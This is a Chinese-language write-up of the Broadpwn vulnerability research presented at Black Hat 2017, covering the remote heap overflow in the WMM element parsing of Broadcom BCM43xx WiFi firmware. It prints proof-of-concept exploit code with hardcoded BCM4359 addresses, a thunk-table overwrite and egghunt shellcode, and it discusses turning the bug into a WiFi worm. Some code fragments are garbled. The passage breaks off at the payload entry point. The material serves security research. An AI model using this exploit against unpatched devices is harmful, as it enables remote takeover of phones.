第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片Broadpwn漏洞(含EXP/POC)

過去的幾個月裏,Android 和 iOS 數十億臺設備中都曾出現過可怕的 WiFi 遠程代碼執行漏洞 BroadPwn。谷歌 7 月初發布了修復補丁,而蘋果則是在 7 月 19 日發佈的更新。而此次開得熱火朝天的 Black Hat 2017上安全研究員 Nitay Artenstein 也針對這個漏洞進行了詳細剖析。

Broadpwn 漏洞甚至還能進化成 WiFi 蠕蟲,如果你的移動設備沒有及時更新,只需置身在惡意WiFi範圍內就會被黑客捕獲、入侵、甚至被轉化成惡意AP、繼續感染附近的手機終端…

目前漏洞雖然已經得到修復——但這個漏洞的研究過程也許能給安全研究和防護帶來深層次的思考。所以,本文按照黑帽大會上進行的分享及分享者的博客內容進行了整理,希望能給大家帶來幫助!

不需要用戶交互、完全遠程利用的漏洞,已經消失匿跡了一段時間了。這種漏洞在一些不夠安全、或者說未能及時更新的設備上找到,(如路由器、IoT設備或者舊版 Windows 上),但在 Android 及 iOS 上,實際並沒有可以遠程利用並繞過 DEP 及 ASLR 保護機制的漏洞。如果想要侵入 Android 或 iOS設備,攻擊者一般還是通過瀏覽器漏洞進行。從這個角度切入的話,我們可以從攻擊者的視角進行思考,也就是說,有效的漏洞利用需要用戶主動點擊可疑鏈接、連接到攻擊者的網絡、或者瀏覽不受 HTTPS 保護的站點。然而,警覺性高的用戶就不會上當。 

隨着現代的操作系統不斷加強安全防護,攻擊者很難找到全新而有力的攻擊向量。當然,遠程漏洞利用絕非易事。常見的本地漏洞利用都會利用各種特定系統上的接口(如本地的系統調用或者Javascript ),通過各種交互操作觸發,這樣攻擊者可以獲取涉及目標的地址空間以及內存狀態的信息。而遠程攻擊者,在與目標的交互手段上會有很大的限制。爲了成功實施一次遠程攻擊,攻擊者所使用的漏洞需要在各種情況下都具有普適性。

本研究的目標在於揭示這種類型的攻擊以及漏洞利用—— Broadpwn 是一種完全遠程的攻擊,它通過博通 BCM43xx 系列 WiFi 芯片組的漏洞在 Android 或 iOS 的主應用程序處理器上進行代碼注入。本文的敘述將會如下流程展開:首先是按照思考流程解釋我們如何選擇適合遠程利用的攻擊面,接着解釋爲了避免需要用戶交互的觸發,我們如何在特定程序塊中進行調查、最後是如何形成一個可用且完全遠程的漏洞利用。

第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片 Broadpwn 漏洞(含EXP/POC)

文末還會有個 [ 彩蛋 ] :在二十世紀初期,自傳播的蠕蟲惡意程序很常見。但隨着 DEP 和 ASLR 的出現,這種遠程 exp 逐漸消失,2009 年的 Conficker 成爲了歷史記載中最後一個自傳播的網絡蠕蟲。而利用當前的 Broadpwn 我們可以延續傳統(:P),將其改造成第一個針對移動設備 WiFi 的蠕蟲、同時也是近八年內的第一隻公網蠕蟲。

一、攻擊面分析

DEP 和 ASLR 是攻擊者最恐懼的兩個詞。一般爲了利用漏洞進行代碼注入,我們需要獲取涉及地址空間的信息。但自從有了 ASLR 機制的存在,這些信息就很難獲取,有些時候需要通過單獨的信息泄露漏洞才能獲得。以及,普遍意義上遠程利用信息泄露漏洞,會比普通情況更難,因爲目標與攻擊者的交互十分有限。在過去的近十年來,有數百個漏洞因此悽慘“ 死去 ”。

當然,嵌入式系統中不會存在這樣的問題,路由器、攝像頭、各種IoT設備都不會有專門的安全防護機制。但談及智能手機,情況就又不一樣了:Android 和 iOS 都很早就應用 ASLR 機制了!但直接這樣說其實還是有不準確的地方的,因爲這些機制只是針對主應用處理器進行保護——然而智能手機本身是一個複雜系統!於是我們在進行研究的時候開始思考,手機上還有哪些不受 ASLR 保護的處理器呢?

實際上,大多數的 Android 和 iOS 智能手機都還有兩個額外的處理芯片,這是考慮遠程攻擊的極好的突破口——基帶芯片 和WiFi 芯片。 

第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片 Broadpwn 漏洞(含EXP/POC)

基帶芯片涉及的領域很寬泛也很奇妙,毋庸置疑會吸引很多攻擊者。但是,攻擊基帶也是相當有難度的事情,因爲生產廠家各不相同,攻擊不得不變得非常零碎。基帶市場目前也面臨着巨大的轉折:多年之前,高通是一覽衆山小的領先者,但現在的市場已經被多個競爭者佔領。三星的Shannon modem在新一代三星手機中得到普及;英特爾的 Infineon 芯片已經接替了高通,成爲 iPhone 7 以上版本的基帶;而聯發科技的芯片已經成爲低成本 Android 設備最受歡迎的選擇。當然,高通仍然佔據高端非三星 Android 中基帶市場的主導地位。

WiFi 芯片組則有着另一段故事:但在最主要的智能手機中,包括三星 Galaxy 型號,Nexus 以及 iPhone 在內,博通對它們來說都是最主要的芯片廠商。在筆記本設備中,WiFi 芯片組管理 PHY 層,而 kernel driver 負責處理 第三層及以上——這被稱爲 SoftMAC 框架。然而在移動設備上,由於對電源的考慮導致設備設計人員選擇應用 FullMAC WiFi 實現方式,這樣 WiFi 芯片是自行負責處理 PHY,MAC 和 MLME ,並自行傳輸準備好的內核驅動程序數據包,這也就是說 WiFi 芯片是會自行處理可能被攻擊者控制的數據輸入

在選擇攻擊面的考慮時,還有一個因素影響了我們的選擇。在博通芯片上進行測試的時候,我們欣喜地發現,它不受 ASLR 保護,而整個 RAM 都有 RWX 許可——這意味着我們可以在內存中的任何地方進行讀,寫和運行代碼的操作!但是在 Shannon 、聯發科技、以及高通的基帶中存在 DEP 機制的保護,所以相對而言,更難進行漏洞利用。

二、博通芯片分析

博通的  WiFi芯片是高端智能手機 WiFi 組的主要選擇。在不算特別詳盡的研究中,我們發現以下智能手機的型號使用的是博通的 WiFi 芯片:

  • 部分三星 Galaxy 系列的 S3 至 S8
  • 所有三星 Notes 3,Nexus 5, 6, 6X 和 6P
  • 所有 iPhones  5 之後的型號

芯片的型號則是從 BCM4339 到 BCM4361型號。

芯片固件的逆向工程和調試相對簡單,因爲每次芯片重製後的主 OS 都將未加密的固件二進制程序加載到芯片的 RAM 中,由此,只是通過手機系統的簡單搜索就足以定位博通固件的地址。但如果在 Linux 內核上,這樣的路徑通常會在配置的變量 BCMDHD_FW_PATH 中定義。

我們之後又發現了另一件讓人高興的事情,固件上並不會對完整性進行檢驗,也就是說攻擊者可以輕鬆地對原始固件進行修改,添加 hook 進行打印輸出調試或者其他行爲修改,甚至修改內核來調用我們自己的固件。我們在研究的過程中就經常地放置 hook 並觀察系統的行爲(更有趣的是系統的不正常行爲)。

我們調查中的博通芯片都運行的是 ARM Cortex-R4 微控制器。這個系統的奇怪之處在於,大部分代碼都是在 ROM 上運行的,大小爲 900 k。而後續的更新都是存放在 RAM 中的,也佔 900 k 的大小。在執行更新或修復的時候,在 RAM 中會有一個附加的 thunk 表,然後在執行的特點位置進行調用這個表。如果有錯誤需要進行修復,則可以對 thunk 表進行重定向指向新代碼。

而在架構方面,將 BCM43xx 視爲 WiFi 片上系統(SoC)應該是正確的,因爲這裏有兩個不同的芯片在處理包數據。主處理器 Cortex-R4 在將收到的包數據交給 Linux 內核之前,會先處理 MAC 和 MLME 層的數據;但使用專有博通處理器架構的單獨芯片則可處理 802.11 PHY 層。SoC的另一個組件是應用處理器的接口:早期的博通芯片使用的是較慢的 SDIO 連接,而 BCM4358及更高版本使用的 PCIe。

第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片 Broadpwn 漏洞(含EXP/POC) 

WiFi SoC 中的主要 ARM 微控制器運行着 HNDRTE 這個神祕的專有實時操作系統(RTOS) 。雖然 HNDRTE是閉源的,但也有地方可以獲取到之前版本的源碼。之前的研究人員提及 Linux brcmsmac 驅動程序——它是 SoftMAC WiFi芯片的驅動程序,只會處理 PHY 層的數據,並讓內核去執行其他操作。儘管這個驅動中卻是包含HNDRTE的常用源碼,但我們發現數據包處理的驅動程序代碼(我們希望找到漏洞的部分)與固件中的還是明顯不同,因此這樣的嘗試並沒能幫上我們。

最有用的資源則是 VMG-1312 的源代碼,VMG-1312 也是使用博通芯片組的路由器,雖然這個產品早已被人們遺忘。儘管之前的 brcmsmac 驅動中包含博通開源使用在 Linux 上的代碼,但在 VMG-1312 中居然包含有博通專有的閉源代碼,可以看到代碼上標註了 “這是博通未公開的專有源代碼” 警示信息。顯而易見,這是博通代碼不小心混在 VMG-1312 源碼中錯誤公開了!

這些泄露的代碼片段包含我們在固件 blob 中找到的大部分功能。但這部分還是有些過時,沒有包含最新的 802.11協議的相關處理方法。但我們找到的這部分對於此次研究已經非常有用,主要的數據包處理功能並沒有發生大的變化。我們通過將源代碼與固件進行比對,能夠快速地獲取數據包處理代碼部分的整體概念,幫助我們尋找到值得關注的代碼區域,並將關注點移到下一個階段上——如何找到合適可用的漏洞。

三、漏洞在哪

在此確認一下“合適可用的漏洞“的定義,我們認爲,當前所需要尋找的漏洞應當滿足以下的要求:

1. 這個漏洞不需要攻擊目標進行交互觸發

2.不需要我們瞭解系統的當前狀態,因爲遠程攻擊並不能瞭解足夠多的信息

3.成功利用後,這個漏洞還是能讓系統保持在穩定狀態

第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片 Broadpwn 漏洞(含EXP/POC)

從那裏開始思考呢。我們可以先簡單回顧一下 802.11 連接過程。這個過程從客戶端發起,在 802.11 lingo 中稱爲移動工作站(STA),會對附近所有的接入點(AP )發送探測請求(Probe Request)來進行連接。然後探測請求中會包含兩種數據,其一是 Supported Rates(移動工作站支持的速率);其二是該站點之前連接上的 SSID 列表。而在下一個過程中,支持對應速率的 AP 會發送一個探測響應(包含支持的加密類型等數據)。之後,STA 和 AP 都會發送身份認證信息數據包。而在最後一步中,STA 會發送關聯請求(Association request )給選擇連接的 AP 。

第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片 Broadpwn 漏洞(含EXP/POC)

在上述過程中的數據包都有相通的結構:基本的 802.11 報頭,然後是一些 802.11 信息元素(IE)。信息元素都是以衆所周知的 TLV 進行編碼,第一個字節標註信息的類型,第二個字節保存長度,最後的字節保存實際的數據。通過解析這個數據,AP 和 STA 都可以在連接過程中獲得對方的需求和性能信息。

任何實際認證,如使用 WPA2 的協議進行的認證,都發生在此連接過程之後。由於在連接過程之中並沒有真實的認證元素,所以攻擊者可以使用 MAC 地址及 SSID 模仿稱任何的 AP。STA 只能在下一步的認證過程發現這個 AP 是僞造的。這個特性使得連接過程的這一步中出現的 bug 是非常珍貴的。在連接過程中攻擊者如果能發現 bug ,就可以嗅探到目標設備的探測請求,僞裝成 STA 在搜索的 AP ,然後無需認證即可觸發漏洞。

博通代碼高度模塊化地處理 802.11 中不同協議及固件中函數這一點,也給我們尋找漏洞提供了便利。在 wlc_attach_module 函數中,它將不同的協議和功能抽象成一個單獨的模塊。 wlc_attach_module 調用的各種初始化函數的名稱能夠給一些指導,下面是例子:

prot_g = wlc_prot_g_attach(wlc);
wlc->prot_g = prot_g;
if (!prot_g) {
  goto fail;
}
prot_n = wlc_prot_n_attach(wlc);
wlc->prot_n = prot_n;
if (!prot_n) {
  goto fail;
}
ccx = wlc_ccx_attach(wlc);
wlc->ccx = ccx;
if (!ccx) { 
  goto fail;
}
amsdu = wlc_amsdu_attach(wlc);
wlc->amsdu = amsdu;
if (!amsdu) {
  goto fail;
}

在模塊初始化函數之後纔是相關處理操作的程序部分,每次產生或者收到數據包時都會調用這些函數來進行處理。他們會負責匹配接受到分組數據的上下文,或生成用於輸出分組的協議數據。我們會更在意協議數據,因爲這是解析攻擊者控制的數據代碼,相關函數在 wlc_iem_add_parse_fn 中,具有如下的原型:

void wlc_iem_add_parse_fn(iem_info *iem, uint32 subtype_bitfield,
                           uint32 iem_type, callback_fn_t fn, void *arg)

我們很快就可以發現,wlc_iem_add_parse_fn 在 wlc_module_attach 得到了調用。通過編寫代碼來解析傳遞的參數,我們可以爲連接過程的每個階段創建一個被調用的解析器列表。然後通過縮小範圍,提高研究效率,發現問題關鍵。

四、漏洞所在

無線多媒體擴展(WMM)是802.11標準的服務質量(QoS)擴展,使得接入點可以根據不同的接入類別(如語音,視頻或其他)對流量進行優先級排序。舉例來說,WMM 被用於在對數據流量高需求的應用(例如 VoIP 或流視頻)中使用,以確保最佳服務質量。在客戶端與 AP 的關聯過程中,STA 和 AP 都會以信息元素(IE)添加 WMM 支持級別標識到信標、探測請求、探測響應、關聯請求和關聯響應分組的末尾。

在我們分析由 wlc_iem_add_parse_fn 安裝之後解析關聯數據包的函數中的 bug 時,我們偶然發現了以下的函數:

void wlc_bss_parse_wme_ie(wlc_info *wlc, ie_parser_arg *arg) {
  unsigned int frame_type;  
  wlc_bsscfg *cfg;  
  bcm_tlv *ie;  
  unsigned char *current_wmm_ie;  
  int flags;
  frame_type = arg->frame_type;  
  cfg = arg->bsscfg;  
  ie = arg->ie;  
  current_wmm_ie = cfg->current_wmm_ie;  
  if ( frame_type == FC_REASSOC_REQ ) {    
    ...    
    <handle reassociation requests>    
    ...  }  
  if ( frame_type == FC_ASSOC_RESP ) {    
    ...    
    if ( wlc->pub->_wme ) {      
      if ( !(flags & 2) ) {        
        ...        
        if ( ie ) {          
          ...          
          cfg->flags |= 0x100u;          
          memcpy(current_wmm_ie, ie->data, ie->len);

最後一行的程序調用了 memcpy(),卻沒有驗證緩衝區 current_wmm_ie 是否能容納數據 ie->len 。現在把這個問題稱爲 bug 可能還爲時太早:讓我們先看看現在分配給  current_wmm_ie 的大小,調查一下是否會引起溢出。然後我們可以在分配緩衝區的函數中找到答案。

wlc_bsscfg *wlc_bsscfg_malloc(wlc_info *wlc) {  
  wlc_info *wlc;  
  wlc_bss_info *current_bss;  
  wlc_bss_info *target_bss;  
  wlc_pm_st *pm;  
  wmm_ie *current_wmm_ie;
  ...  
  current_bss = wlc_calloc(0x124);  
  wlc->current_bss = current_bss;  
  if ( !current_bss ) {    
    goto fail;  }  
  target_bss = wlc_calloc(0x124);  
  wlc->target_bss = target_bss;  
  if ( !target_bss ) {    
    goto fail;  }  
  pm = wlc_calloc(0x78);  
  wlc->pm = pm;  
  if ( !pm ) {    
    goto fail;  }  
  current_wmm_ie = wlc_calloc(0x2C);  
  wlc->current_wmm_ie = current_wmm_ie;  
  if ( !current_wmm_ie ) {    
    goto fail;  }

current_wmm_ie 緩衝區的大小爲 0x2c(44)字節,而整個 IE 的最大尺寸爲 0xff (255) 字節,這意味着我們可以得到的最大溢出可以達到 211 字節。

但這樣的溢出不一定會讓我們實現目標。以前的 CVE-2017-0561(TDLS 問題)很難利用,因爲攻擊者最多隻能溢出到下一個堆,也還需要很複雜的堆技巧來獲得寫入原語的權利,同時破壞堆的狀態及恢復執行還會更難。據我們目前所知,現在這個 bug 可能也會這樣叫人白費力氣,所以需要先仔細看看這裏溢出的是什麼。

假設 malloc() 函數自頂向下分配內存塊,通過查看前文的代碼中搜索,我們可以發現 wlc->pm 結構體就會分配到存儲空間,緊挨 wlc->current_wmm_ie 結構體(溢出目標)之後。爲了驗證這個假設,我們把 current_wmm_ie 轉換成16 進制,在 BCM4359 上進行測試的話可以發現——它總是會分配在 0x1e7dfc 位置:

00000000: 00 50 f2 02 01 01 00 00 03 a4 00 00 27 a4 00 00  .P..........'...
00000010: 42 43 5e 00 62 32 2f 00 00 00 00 00 00 00 00 00  BC^.b2/.........
00000020: c0 0b e0 05 0f 00 00 01 00 00 00 00 7a 00 00 00  ............z...
00000030: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040: 64 7a 1e 00 00 00 00 00 b4 7a 1e 00 00 00 00 00  dz.......z......
00000050: 00 00 00 00 00 00 00 00 c8 00 00 00 c8 00 00 00  ................
00000060: 00 00 00 00 00 00 00 00 9c 81 1e 00 1c 81 1e 00  ................
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
000000a0: 00 00 00 00 00 00 00 00 2a 01 00 00 00 c0 ca 84  ........*.......
000000b0: ba b9 06 01 0d 62 72 6f 61 64 70 77 6e 5f 74 65  .....broadpwn_te
000000c0: 73 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00  st..............
000000d0: 00 00 00 00 00 00 fb ff 23 00 0f 00 00 00 01 10  ........#.......
000000e0: 01 00 00 00 0c 00 00 00 82 84 8b 0c 12 96 18 24  ...............$
000000f0: 30 48 60 6c 00 00 00 00 00 00 00 00 00 00 00 00  0H`l............

看一下 0x2c ,這裏是 current_wmm_ie 的末尾,我們可以看到下一個堆塊的大小 0x7a ——這也是 wlc->pm 結構體加上兩個字節大小的間隔所佔的大小。所以我們的假設是正確的:溢出只能用在wlc_pm_st 類型的結構體  wlc->pm 中。

但值得注意的是,current_wmm_ie 和 pm 的位置是靜態的、完全固定的。由於這些結構在初始化過程中得到了提前的分配,他們會始終被分配到相同的內存地址。這個特點可以讓攻擊者在這一步不用思考複雜策略。

五、漏洞利用 Exploit

找到漏洞還算是輕鬆的部分,寫一個可靠的遠程利用方法更艱難一些,有時發現的漏洞很難被利用。

編寫遠程攻擊的主要困難在於需要攻擊目標的地址空間信息,其次是有些小錯誤會導致不可收場:在內核遠程攻擊中,任何錯誤步驟都會導致內核恐慌,受害者就會接到警告消息。

而在博通 Broadpwn 之中,這些困難之處萬幸都能夠解決:首先,在漏洞利用中我們用到的相關結構體的地址和數據都在固件中是給定的,這樣,我們不需要進行動態地址分配的處理。其次,芯片崩潰不會帶來很多噪聲,用戶只會看到在用戶界面上的 WiFi 圖標消失,芯片復位時會出現暫時的連接中斷。

這樣我們就可以針對這個固件順利地建立地址字典,然後不斷啓動 exp 暴力破解出正確的地址集。

我們再來看下如何進行 寫入原語(write primitive) 的獲取。溢出的結構類型爲 wlc_pm_st 這可以改變電源的管理狀態(進入/離開節電模式)這個結構按照如下進行了定義:

typedef struct wlc_pm_st { 
  uint8 PM; bool PM_override; 
  mbool PMenabledModuleId; 
  bool PMenabled; 
  bool PMawakebcn; 
  bool PMpending; 
  bool priorPMstate; 
  bool PSpoll; 
  bool check_for_unaligned_tbtt; 
  uint16 pspoll_prd; 
  struct wl_timer *pspoll_timer; 
  uint16 apsd_trigger_timeout; 
  struct wl_timer *apsd_trigger_timer; 
  bool apsd_sta_usp; 
  bool WME_PM_blocked; 
  uint16 pm2_rcv_percent; 
  pm2rd_state_t pm2_rcv_state; 
  uint16 pm2_rcv_time; 
  uint pm2_sleep_ret_time; 
  uint pm2_sleep_ret_time_left;  
  uint pm2_last_wake_time; 
  bool pm2_refresh_badiv; 
  bool adv_ps_poll; 
  bool send_pspoll_after_tx;    
  wlc_hwtimer_to_t *pm2_rcv_timer;  
  wlc_hwtimer_to_t *pm2_ret_timer; 
} wlc_pm_st_t;

這個結構體之中的四個成員變量很有意思呢,可以被攻擊者利用:pspoll_timer、  wl_timer 類型的 apsd_trigger_timer,pm2_rcv_timer 和wlc_hwtimer_to_t 類型的 pm2_ret_timer。

typedef struct _wlc_hwtimer_to { 
  struct _wlc_hwtimer_to *next; 
  uint timeout; hwtto_fn fun; 
  void *arg; bool expired;
} wlc_hwtimer_to_t;

在處理數據包和觸發溢出之後,函數 wlc_hwtimer_del_timeout 會被調用,同時接收到 pm2_ret_timer 爲參數:

void wlc_hwtimer_del_timeout(wlc_hwtimer_to *newto) {  
  wlc_hwtimer_to *i;  
  wlc_hwtimer_to *next;   
  wlc_hwtimer_to *this;
  for ( i = &newto->gptimer->timer_list; ; i = i->next )  {    
    this = i->next;    
    if ( !i->next ) {      
      break; }    
    if ( this == newto ) {      
      next = newto->next;      
      if ( newto->next ) {        
        next->timeout += newto->timeout; // write-4 primitive   
      }      
      i->next = next;      
      this->fun = 0;      
      return;    
    }  
  }
}

我們從代碼中可以看出,通過覆蓋 newto 的值,並指向攻擊者控制的位置,next->timeout 所指向的內存位置就可以增加 newto->timeout 的內容。這就是一個 – 在哪裏寫入什麼 – 的原語,但這樣做會有個限制,就是攻擊者必須知道被覆蓋內存位置上的原始內容。

還有另一種限制更少的原語寫入方法,就是通過 struct wl_timer 類型的 pspoll_timer 成員。這個結構體能在相關過程中定期觸發的回調函數進行處理:

int timer_func(struct wl_timer *t) {  
  prev_cpsr = j_disable_irqs();  
  v3 = t->field_20;    
  ...
  if ( v3 ) {    
    v7 = t->field_18;    
    v8 = &t->field_8;    
    if ( &t->field_8 == v7 ) {
      ... 
    } else {      
      v9 = t->field_1c;      
      v7->field_14 = v9;      
      *(v9 + 16) = v7;      
      if ( *v3 == v8 ) {        
        v7->field_18 = v3; 
      }    
    }    
    t->field_20 = 0;  
  }  
  j_restore_cpsr(prev_cpsr);  
  return 0;
}

從這個函數的末尾可以看到,在這裏其實可以更方便地獲取寫入原語。我們可以將我們存儲在field_1c中的值寫入我們存儲在 field_18 中的地址。這樣,我們可以將任意值寫入任何內存地址,而不會受到前一種方法的限制。

下一個問題就在於,如何將我們的寫入原語用於完整的代碼執行。爲此,可以考慮兩種方法:一種是需要我們事先知道固件內存地址(或通過暴力破解獲取),還有一種更難實現的方法。我們先看一下前一種方法。

爲了實現寫入原語,我們需要用控制的內存地址覆蓋 pspoll_timer。由於wlc-> current_wmm_ie 和 wlc-> ps 的地址對於給定的固件版本是已知且和一致的,我們可以完全覆蓋其內容,因此我們可以將 pspoll_timer 設置爲指向這些對象內的任何位置。爲了創建一個虛假的wl_timer對象,wlc-> current_wmm_ie和wlc-> ps之間的未使用的區域是最理想的選擇。把我們自己僞造的 timer 對象放入,然後讓 field_18 指向 我們希望覆蓋的位置(減去14的偏移量),然後在 field_1c 中保存我們需要覆蓋的內容。一旦觸發覆蓋操作,我們只需要等待timer 函數被調用,就會執行覆蓋操作。

再下一步就是需要確定哪個內存的地址是我們想要覆蓋的。在上述的函數中出觸發覆蓋操作之後,立刻會調用用 j_restore_cpsr 操作。這個函數主要就做一件事情:它會在 RAM 的 thunk 表中,從 thunk 表中提取 restore_cpsr 的地址,並跳轉過去。因此,通過覆蓋 thunk 表中的 restore_cpsr 的索引,我們可以使我們自己的函數立刻被調用。

目前爲止,我們現在已經獲得了對指令指針的控制,並且完全掌握了跳轉到任意存儲地址的權利。整個RAM是 RWX 的,也沒有對內存權限的限制,這也就是說,我們可以從堆,棧或者任何之中執行任意代碼。但還會有存在一個問題,shellcode放哪裏比較好呢?我們可以將shellcode寫入到溢出的那個 wlc-> pm 結構體中,但這帶來了兩個難點:首先,空間受到 211 字節覆蓋的限制。第二, wlc-> pm 結構不斷被 HNDRTE 代碼的其他部分使用,所以 shellcode 在結構體中的錯誤位置會導致整個系統崩潰。

經過了失敗之後,我們意識能用的代碼空間很小:wlc-> pm 結構中的 12 個字節(不會引發崩潰的唯一位置),在放 SSID 字符串的相鄰結構體中的  32 個字節(可自由覆蓋)。總計 44 字節的空間不能容納我們的payload,所以需要找個別的地方。 

正確的方案應該是尋找某種操作方法( spray primitive) :我們需要一種方法來在大塊內存中進行內容寫入,並給我們便利而可預測的位置來存儲我們的 payload。

WiFi 芯片都需要在給定的時間裏處理許多數據包。爲此,HNDRTE 提供了D11 芯片和主微控制器通用的環形緩衝方式。包數據通過 PHY 後被重複寫入緩衝區,直到不能再容納,也就是說,新數據包只是簡單地寫入緩衝區的開始部分,並覆蓋了之前的數據。

所以,我們需要做的就是把我們的 payload 廣播傳輸過來,在多個頻道上播放。隨着 WiFi 芯片反覆掃描可用的 AP(即使在芯片處於省電模式下也同樣如此),環形緩衝區就會被我們的 payload 填充 – 給我們提供了很好的解決方案。

因此,我們將要做的是:在 wlc-> pm 中寫入一個小型的 shellcode ,這樣可以節省堆棧幀(這樣我們才能恢復正常執行),並跳轉到我們存儲的下一個32 字節的 shellcode 的 SSID 字符串。這個 shellcode 只是經典的 egghunting shellcode,在環形緩衝區中搜索某個數字,指示 payload 的開始,並跳轉過去。

第一隻WiFi蠕蟲的誕生:完整解析博通WiFi芯片 Broadpwn 漏洞(含EXP/POC) 

接下來看一下 POC 代碼吧。

u8 *generate_wmm_exploit_buf(u8 *eid, u8 *pos) uint32_t curr_len = (uint32_t) (pos - eid);  
  uint32_t overflow_size = sizeof(struct exploit_buf_4359);  
  uint32_t p_patch = 0x16010C; // p_restore_cpsr  
  uint32_t buf_base_4359 = 0x1e7e02struct exploit_buf_4359 *buf = (struct exploit_buf_4359 *) pos;
  memset(pos, 0x0, overflow_size);
  memcpy(&buf->pm_st_field_40_shellcode_start_106, shellcode_start_bin, sizeof(shellcode_start_bin)); // Shellcode thunk  
  buf->ssid.ssid[0] = 0x41;  
  buf->ssid.ssid[1] = 0x41;  
  buf->ssid.ssid[2] = 0x41memcpy(&buf->ssid.ssid[3], egghunt_bin, sizeof(egghunt_bin));  
  buf->ssid.size = sizeof(egghunt_bin) + 3;
  buf->pm_st_field_10_pspoll_timer_58 = buf_base_4359 + offsetof(struct exploit_buf_4359, t_field_0_2); // Point pspoll timer to our fake timer object
  buf->pm_st_size_38 = 0x7a;  
  buf->pm_st_field_18_apsd_trigger_timer_66 = 0x1e7ab4;  
  buf->pm_st_field_28_82 = 0xc8;  
  buf->pm_st_field_2c_86 = 0xc8;  
  buf->pm_st_field_38_pm2_rcv_timer_98 = 0x1e819c;  
  buf->pm_st_field_3c_pm2_ret_timer_102 = 0x1e811c;  
  buf->pm_st_field_78_size_162 = 0x1a2;  
  buf->bss_info_field_0_mac1_166 = 0x84cac000;  
  buf->bss_info_field_4_mac2_170 = 0x106b9ba;
  buf->t_field_20_34 = 0x200000;  
  buf->t_field_18_26 = p_patch - 0x14; // Point field_18 to the restore_cpsr thunk  
  buf->t_field_1c_30 = buf_base_4359 + offsetof(struct exploit_buf_4359, pm_st_field_40_shellcode_start_106) + 1; // Write our shellcode address to the thunk
  curr_len += overflow_size;  pos += overflow_size;
  return pos;
}

struct shellcode_ssid {  
  unsigned char size;  
  unsigned char ssid[31];
} STRUCT_PACKED;
 
struct exploit_buf_4359 {  
  uint16_t stub_0;  
  uint32_t t_field_0_2;  
  uint32_t t_field_4_6;  
  uint32_t t_field_8_10;  
  uint32_t t_field_c_14;  
  uint32_t t_field_10_18;  
  uint32_t t_field_14_22;  
  uint32_t t_field_18_26;  
  uint32_t t_field_1c_30;  
  uint32_t t_field_20_34;  
  uint32_t pm_st_size_38;  
  uint32_t pm_st_field_0_42;  
  uint32_t pm_st_field_4_46;  
  uint32_t pm_st_field_8_50;  
  uint32_t pm_st_field_c_54;  
  uint32_t pm_st_field_10_pspoll_timer_58;  
  uint32_t pm_st_field_14_62;  
  uint32_t pm_st_field_18_apsd_trigger_timer_66;  
  uint32_t pm_st_field_1c_70;  
  uint32_t pm_st_field_20_74;  
  uint32_t pm_st_field_24_78;  
  uint32_t pm_st_field_28_82;  
  uint32_t pm_st_field_2c_86;  
  uint32_t pm_st_field_30_90;  
  uint32_t pm_st_field_34_94;  
  uint32_t pm_st_field_38_pm2_rcv_timer_98;  
  uint32_t pm_st_field_3c_pm2_ret_timer_102;  
  uint32_t pm_st_field_40_shellcode_start_106;  
  uint32_t pm_st_field_44_110;  
  uint32_t pm_st_field_48_114;  
  uint32_t pm_st_field_4c_118;  
  uint32_t pm_st_field_50_122;  
  uint32_t pm_st_field_54_126;  
  uint32_t pm_st_field_58_130;  
  uint32_t pm_st_field_5c_134;  
  uint32_t pm_st_field_60_egghunt_138;  
  uint32_t pm_st_field_64_142;  
  uint32_t pm_st_field_68_146; // <- End  
  uint32_t pm_st_field_6c_150;  
  uint32_t pm_st_field_70_154;  
  uint32_t pm_st_field_74_158;  
  uint32_t pm_st_field_78_size_162;  
  uint32_t bss_info_field_0_mac1_166;  
  uint32_t bss_info_field_4_mac2_170;  
  struct shellcode_ssid ssid;
} STRUCT_PACKED;

這是執行 egghunt 的 shellcode :

__attribute__((naked)) voidshellcode_start(void) {  
  asm("push {r0-r3,lr}\n"           
      "bl egghunt\n"            
      "pop {r0-r3,pc}\n");
}

void egghunt(unsigned int cpsr) unsigned int egghunt_start = RING_BUFFER_START;  
  unsigned int *p = (unsigned int *) egghunt_start;  
  void (*f)(unsigned int);
  loop:  
  p++;  
  if (*p != 0xc0deba5e)    
    goto loop;  
  f = (void (*)(unsigned int))(((unsigned char *) p) + 5);  
  f(cpsr);  
  return;
}

所以我們現在可以跳轉到這個 payload 上了,但這就是全部了嗎?還記得我們已經嚴重破壞了 wlc-> pm 對象嗎,如果我們就保持現狀,系統將不會持續保持穩定。我們還是需要避免系統崩潰的,所以還需要控制住危害

因此在進一步的操作之前,我們的 payload 還需要把 wlc-> pm 對象恢復到正常狀態。由於此對象中的所有地址對於都是存放在靜態地址裏的,因此我們可以將這些值複製回緩衝區並將對象恢復到正常狀態。

以下是一個初始 payload的例子:

unsigned char overflow_orig[] = {    
  0x00, 0x00, 0x03, 0xA4, 0x00, 0x00, 0x27, 0xA4, 
  0x00, 0x00, 0x42, 0x43, 0x5E, 0x00, 0x62, 0x32,    
  0x2F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0xC0, 0x0B, 0xE0, 0x05, 0x0F, 0x00,    
  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x7A, 0x00, 
  0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,    
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x64, 0x7A, 0x1E, 0x00, 0x00, 0x00,    
  0x00, 0x00, 0xB4, 0x7A, 0x1E, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    
  0x00, 0x00, 0xC8, 0x00, 0x00, 0x00, 0xC8, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,    
  0x00, 0x00, 0x9C, 0x81, 0x1E, 0x00, 0x1C, 0x81, 
  0x1E, 0x00 
};

void entry(unsigned int cpsr) {    
